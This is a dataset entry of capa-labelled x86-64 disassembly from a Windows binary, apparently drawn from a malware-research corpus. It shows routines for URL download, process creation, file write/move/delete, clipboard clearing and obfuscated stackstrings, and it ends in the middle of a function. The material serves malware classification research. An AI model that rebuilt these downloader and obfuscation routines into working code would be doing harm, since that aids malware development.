joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1800ed2a0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
movsxd r15, ecx
lea r9, [0x18017cae0]
mov rax, r15
mov rbp, r15
and eax, 0x3f
sar rbp, 6
mov ecx, 4
xor esi, esi
mov r14, rdx
lea rdi, [rax + rax*8]
mov rax, qword [r9 + rbp*8]
lea r13d, [rcx + 6]
mov r10, qword [rax + rdi*8 + 0x28]
test r8, r8
je 0x1800ed2f7
cmp word [rdx], r13w
jne 0x1800ed2f7
or byte [rax + rdi*8 + 0x38], cl
jmp 0x1800ed2fc
and byte [rax + rdi*8 + 0x38], 0xfb
lea r8, [rdx + r8*2]
mov rbx, r14
cmp r14, r8
jae 0x1800ed421
mov r11d, 0xd
lea r12d, [r11 - 0xb]
movzx ecx, word [rdx]
cmp cx, 0x1a
je 0x1800ed442
lea r9, [rdx + 2]
cmp cx, r11w
je 0x1800ed335
mov rdx, r9
mov word [rbx], cx
jmp 0x1800ed35c
cmp r9, r8
jae 0x1800ed36c
cmp word [r9], r13w
mov rax, r12
mov ecx, 4
cmove rax, rcx
add rdx, rax
mov eax, r13d
cmp word [r9], r13w
cmovne ax, r11w
mov word [rbx], ax
mov rax, r12
add rbx, rax
cmp rdx, r8
jb 0x1800ed316
jmp 0x1800ed421
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rsi
mov r8d, r12d
lea rdx, [rsp + 0x70]
mov rcx, r10
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1800ed416
cmp dword [rsp + 0x80], esi
je 0x1800ed416
lea r8, [0x18017cae0]
mov rax, qword [r8 + rbp*8]
test byte [rax + rdi*8 + 0x38], 0x48
je 0x1800ed3ee
movzx eax, word [rsp + 0x70]
cmp ax, r13w
jne 0x1800ed3be
mov word [rbx], r13w
jmp 0x1800ed41e
mov ecx, 0xd
mov word [rsp + 0x78], ax
mov word [rbx], cx
mov rax, qword [r8 + rbp*8]
lea rcx, [rax + rdi*8]
mov al, byte [rsp + rsi + 0x78]
mov byte [rcx + rsi + 0x3a], al
inc rsi
cmp rsi, r12
jl 0x1800ed3cb
mov rax, qword [r8 + rbp*8]
mov byte [rax + rdi*8 + 0x3c], r13b
jmp 0x1800ed41e
cmp word [rsp + 0x70], r13w
jne 0x1800ed3fb
cmp rbx, r14
je 0x1800ed3b8
mov rdx, 0xfffffffffffffffe
mov ecx, r15d
lea r8d, [rdx + 3]
call fcn.1800eca34
cmp word [rsp + 0x70], r13w
je 0x1800ed421
mov ecx, 0xd
mov word [rbx], cx
add rbx, r12
sub rbx, r14
sar rbx, 1
lea eax, [rbx + rbx]
mov rbx, qword [rsp + 0x88]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea r8, [0x18017cae0]
mov rdx, qword [r8 + rbp*8]
mov al, byte [rdx + rdi*8 + 0x38]
test al, 0x40
jne 0x1800ed41b
or al, r12b
mov byte [rdx + rdi*8 + 0x38], al
jmp 0x1800ed421
Function at 0x1800efad0
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x1800efae6
mov al, 1
jmp 0x1800efb46
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1800efaf7
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1800efb44
mov ecx, dword [rcx + 0x18]
nop
call fcn.1800f5e9c
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800efb44
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1800efb44
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1800efb44
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1800efb46
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1800f4e54
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1800f4e84
xor eax, eax
jmp 0x1800f4f47
mov rbp, rbx
cmp word [rax], si
je 0x1800f4ea9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1800f4e90
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1800f4e8c
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1800f4d74
movsxd r14, eax
test eax, eax
jne 0x1800f4ee7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1800f4e7d
mov rcx, r14
call fcn.1800f1008
mov rdi, rax
test rax, rax
jne 0x1800f4f00
xor ecx, ecx
call fcn.1800ee078
jmp 0x1800f4edc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1800f4d74
test eax, eax
jne 0x1800f4f31
mov rcx, rdi
call fcn.1800ee078
jmp 0x1800f4f3b
xor ecx, ecx
call fcn.1800ee078
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1800f4f64
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x1800f4feb
mov rsi, rbx
cmp word [rax], bp
je 0x1800f4faa
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x1800f4f94
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x1800f4f90
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1800f1008
mov rdi, rax
test rax, rax
je 0x1800f4fd8
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.1801014b0
mov rbp, rdi
xor ecx, ecx
call fcn.1800ee078
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x1800fa8a8
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1800eca34
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1800eca34
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1800fa9f8
cmp rax, 0xffffffffffffffff
je 0x1800fa9f8
xor edi, edi
test rbp, rbp
jle 0x1800fa9a3
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1800ee000
mov rbx, rax
test rax, rax
jne 0x1800fa930
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1800fa999
mov edx, 0x8000
mov ecx, r14d
call fcn.1800fa72c
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1800ef2cc
cmp eax, 0xffffffff
je 0x1800fa979
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1800fa940
mov edx, r15d
mov ecx, r14d
call fcn.1800fa72c
jmp 0x1800fa999
cmp byte [rsi + 0x38], dil
je 0x1800fa990
cmp dword [rsi + 0x34], 5
jne 0x1800fa990
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
cmp byte [rsi + 0x30], dil
je 0x1800fa999
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1800ee078
jmp 0x1800faa0c
jns 0x1800faa0c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1800eca34
cmp rax, 0xffffffffffffffff
jne 0x1800fa9c4
cmp byte [rsi + 0x30], dil
je 0x1800faa0c
mov edi, dword [rsi + 0x2c]
jmp 0x1800faa0c
mov ecx, r14d
call fcn.1800f5e9c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1800faa0c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, 0xd
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], 0xd
jmp 0x1800faa0c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1800faa05
mov eax, dword [rsi + 0x2c]
jmp 0x1800faa0a
mov eax, 0x16
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1800eca34
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret

Function at 0x1800fb910
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1800fb938
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1800fb938
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x231941c08
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.231a11520
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
je 0x231941d46
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0xffffffff
je 0x231941d1a
mov eax, dword [rbp - 0xc]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x18], rax
lea rcx, [rbp - 0x1c]
mov r8d, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x231941ce1
mov eax, dword [rbp - 0x1c]
cmp dword [rbp - 0xc], eax
jne 0x231941ce1
mov eax, 1
jmp 0x231941ce6
mov eax, 0
test al, al
je 0x231941d07
mov eax, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
cmp qword [rbp - 0x18], 0
je 0x231941d1a
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.operator_delete___void_
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x231941d46
nop
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x231941d9e
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov edx, dword [rbp + 0x18]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x231941eaa
cmp dword [rbp + 0x20], 0
je 0x231941e6a
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rcx, qword [rbp - 0x90]
lea rax, [rbp - 0x94]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x94]
add rsp, 0xf0
pop rbp
ret
Function at 0x2319429b4
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x98
lea rbp, [rsp + 0x90]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov dword [rbp + 0x30], r8d
mov dword [rbp + 0x38], r9d
mov ecx, dword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x20]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteFile]
call rax
mov rax, qword [rbp + 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x38], 0
je 0x231942adc
mov rdx, qword [rbp + 0x50]
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
lea rax, [rbp - 0x31]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp - 0x31]
mov rdx, qword [rbp + 0x50]
lea rax, [rbp - 0x60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp - 1]
mov rcx, rax
call fcn.2319dc540
lea rcx, [rbp - 1]
mov rdx, qword [rbp + 0x50]
lea rax, [rbp - 0x30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x30]
mov r8d, 0x8000000
mov rcx, rax
call sym.f_xpc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____unsigned_long_
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 1]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x31]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rdx, qword [rbp + 0x48]
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MoveFileA]
call rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_DeleteFileA]
call rax
mov eax, dword [rbp + 0x30]
mov rcx, qword [rbp + 0x28]
mov rdx, rax
call sym.RtlSecureZeroMemory
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
jmp 0x231942b3e
add rsp, 0x98
pop rbx
pop rbp
ret
Function at 0x231943e0f
Capabilities:
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
add rsp, 0x30
pop rbp
ret

Function at 0x231943fac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x18
mov byte [rbp - 0x20], 0x4b
mov byte [rbp - 0x1f], 0x43
mov byte [rbp - 0x1e], 0x7d
mov byte [rbp - 0x1d], 0x76
mov byte [rbp - 0x1c], 0x5b
mov byte [rbp - 0x1b], 0x12
mov byte [rbp - 0x1a], 0x37
mov byte [rbp - 0x19], 0x36
mov byte [rbp - 0x18], 0x39
mov byte [rbp - 0x17], 0x26
mov byte [rbp - 0x16], 0x6e
mov byte [rbp - 0x15], 0x59
mov byte [rbp - 0x14], 0x42
mov byte [rbp - 0x13], 0x13
mov byte [rbp - 0x12], 0x72
mov byte [rbp - 0x11], 0x14
mov byte [rbp - 0x10], 0x49
mov byte [rbp - 0xf], 0x22
mov byte [rbp - 0xe], 0x45
mov byte [rbp - 0xd], 0x66
mov byte [rbp - 0xc], 0x4a
mov byte [rbp - 0xb], 4
mov byte [rbp - 0xa], 0x37
mov byte [rbp - 9], 0x7b
lea rax, [0x231ec2bc0]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x23194408d
lea rax, [0x231ec2be0]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.ay::obfuscated_data_24ull__8869689017951150953ull__char_.obfuscated_data_ay::obfuscator_24ull__8869689017951150953ull__char__const_
lea rax, [0x231ec2bc0]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec2be0]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_24ull__8869689017951150953ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec2be0]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x40
pop rbp
ret
Function at 0x2319448d1
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x20], 0
mov qword [rbp - 0x28], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [rbp - 8], rax
mov ecx, 0
mov rax, qword [sym.imp.ole32.dll_CoInitialize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x231944930
mov eax, dword [rbp - 0xc]
jmp 0x231944abd
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9, qword [0x231ecc840]
mov r8d, 1
mov edx, 0
mov rax, qword [0x231ecc830]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCreateInstance]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x23194496f
mov eax, dword [rbp - 0xc]
jmp 0x231944abd
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x20]
mov r8, rax
mov rax, qword [0x231ecc850]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319449a5
mov eax, dword [rbp - 0xc]
jmp 0x231944abd
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x28]
mov r8, rax
mov rax, qword [0x231ecc860]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319449db
mov eax, dword [rbp - 0xc]
jmp 0x231944abd
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x68
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
add rdx, 0x10
mov rdx, qword [rdx]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x231944a15
mov eax, dword [rbp - 0xc]
jmp 0x231944abd
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x38
mov rdx, qword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call rdx
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x231944aba
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x48
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x2c]
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
call r9
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x20]
mov rcx, rdx
call rax
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x28]
mov rcx, rdx
call rax
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x18]
mov rcx, rdx
call rax
mov rax, qword [sym.imp.ole32.dll_CoUninitialize]
call rax
mov eax, dword [rbp - 0x2c]
jmp 0x231944abd
mov eax, dword [rbp - 0xc]
add rsp, 0x60
pop rbp
ret
Function at 0x2319456b6
Capabilities:
Open clipboard

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_OpenClipboard]
call rax
test eax, eax
setne al
test al, al
je 0x2319456e7
mov rax, qword [sym.imp.USER32.dll_EmptyClipboard]
call rax
mov rax, qword [sym.imp.USER32.dll_CloseClipboard]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
add rsp, 0x20
pop rbp
ret

Function at 0x23194586a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0xd
mov byte [rbp - 0x15], 0x46
mov byte [rbp - 0x14], 0x3d
mov byte [rbp - 0x13], 0x41
mov byte [rbp - 0x12], 0xc5
mov byte [rbp - 0x11], 0x3a
mov byte [rbp - 0x10], 0x15
mov byte [rbp - 0xf], 0x3c
mov byte [rbp - 0xe], 0xf9
mov byte [rbp - 0xd], 0xd
mov byte [rbp - 0xc], 0x20
mov byte [rbp - 0xb], 0x49
mov byte [rbp - 0xa], 0xcc
mov byte [rbp - 9], 0x55
lea rax, [0x231ec2a00]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x23194591f
lea rax, [0x231ec2a20]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x15]
mov rdx, rax
call method.ay::obfuscated_data_13ull__10041170461807691043ull__char_.obfuscated_data_ay::obfuscator_13ull__10041170461807691043ull__char__const_
lea rax, [0x231ec2a00]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec2a20]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_13ull__10041170461807691043ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec2a20]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x40
pop rbp
ret
Function at 0x23194611c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x3a
mov byte [rbp - 0x50], 0xcc
mov byte [rbp - 0x4f], 0x18
mov byte [rbp - 0x4e], 0xd1
mov byte [rbp - 0x4d], 0xd3
mov byte [rbp - 0x4c], 0x92
mov byte [rbp - 0x4b], 0xd4
mov byte [rbp - 0x4a], 0x45
mov byte [rbp - 0x49], 0x88
mov byte [rbp - 0x48], 0xc3
mov byte [rbp - 0x47], 0x3a
mov byte [rbp - 0x46], 0xde
mov byte [rbp - 0x45], 0xc4
mov byte [rbp - 0x44], 0x97
mov byte [rbp - 0x43], 0xda
mov byte [rbp - 0x42], 0x44
mov byte [rbp - 0x41], 0x82
mov byte [rbp - 0x40], 0xf9
mov byte [rbp - 0x3f], 3
mov byte [rbp - 0x3e], 0xeb
mov byte [rbp - 0x3d], 0xf0
mov byte [rbp - 0x3c], 0x8c
mov byte [rbp - 0x3b], 0xdb
mov byte [rbp - 0x3a], 0x53
mov byte [rbp - 0x39], 0x82
mov byte [rbp - 0x38], 0xe8
mov byte [rbp - 0x37], 4
mov byte [rbp - 0x36], 0xeb
mov byte [rbp - 0x35], 0xe4
mov byte [rbp - 0x34], 0x90
mov byte [rbp - 0x33], 0xc7
mov byte [rbp - 0x32], 0x45
mov byte [rbp - 0x31], 0x88
mov byte [rbp - 0x30], 0xf1
mov byte [rbp - 0x2f], 3
mov byte [rbp - 0x2e], 0xe1
mov byte [rbp - 0x2d], 0xc2
mov byte [rbp - 0x2c], 0x97
mov byte [rbp - 0x2b], 0xc6
mov byte [rbp - 0x2a], 0x5e
mov byte [rbp - 0x29], 0x82
mov byte [rbp - 0x28], 0xf1
mov byte [rbp - 0x27], 0x2b
mov byte [rbp - 0x26], 0xe7
mov byte [rbp - 0x25], 0xc8
mov byte [rbp - 0x24], 0x89
mov byte [rbp - 0x23], 0xdc
mov byte [rbp - 0x22], 0x54
mov byte [rbp - 0x21], 0x84
mov byte [rbp - 0x20], 0xfa
mov byte [rbp - 0x1f], 4
mov byte [rbp - 0x1e], 0xeb
mov byte [rbp - 0x1d], 0xf4
mov byte [rbp - 0x1c], 0x9c
mov byte [rbp - 0x1b], 0xc6
mov byte [rbp - 0x1a], 0x43
mov byte [rbp - 0x19], 0x88
mov byte [rbp - 0x18], 0xf2
mov byte [rbp - 0x17], 0x77
lea rax, [0x231ec2940]
mov rcx, rax
call dbg.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x231946285
lea rax, [0x231ec2960]
mov rcx, rax
call dbg.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x50]
mov rdx, rax
call method.ay::obfuscated_data_58ull__17093330908673963935ull__char_.obfuscated_data_ay::obfuscator_58ull__17093330908673963935ull__char__const_
lea rax, [0x231ec2940]
mov rcx, rax
call dbg.__emutls_get_address
mov byte [rax], 1
lea rax, [0x231ec2960]
mov rcx, rax
call dbg.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_58ull__17093330908673963935ull__char_.obfuscated_data__]
mov rcx, rax
call sym.__cxa_thread_atexit
lea rax, [0x231ec2960]
mov rcx, rax
call dbg.__emutls_get_address
add rsp, 0x70
pop rbp
ret
Function at 0x23194629a
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x17
mov byte [rbp - 0x20], 0x9f
mov byte [rbp - 0x1f], 0xf6
mov byte [rbp - 0x1e], 0xc
mov byte [rbp - 0x1d], 0xfe
mov byte [rbp - 0x1c], 0x77
mov byte [rbp - 0x1b], 0xd3
mov byte [rbp - 0x1a], 0x58
mov byte [rbp - 0x19], 0x69
mov byte [rbp - 0x18], 0xb4
mov byte [rbp - 0x17], 0xfc
mov byte [rbp - 0x16], 0x14
mov byte [rbp - 0x15], 0xc8
mov byte [rbp - 0x14], 0x7a
mov byte [rbp - 0x13], 0xcd
mov byte [rbp - 0x12], 0x56
mov byte [rbp - 0x11], 0x56
mov byte [rbp - 0x10], 0xaf
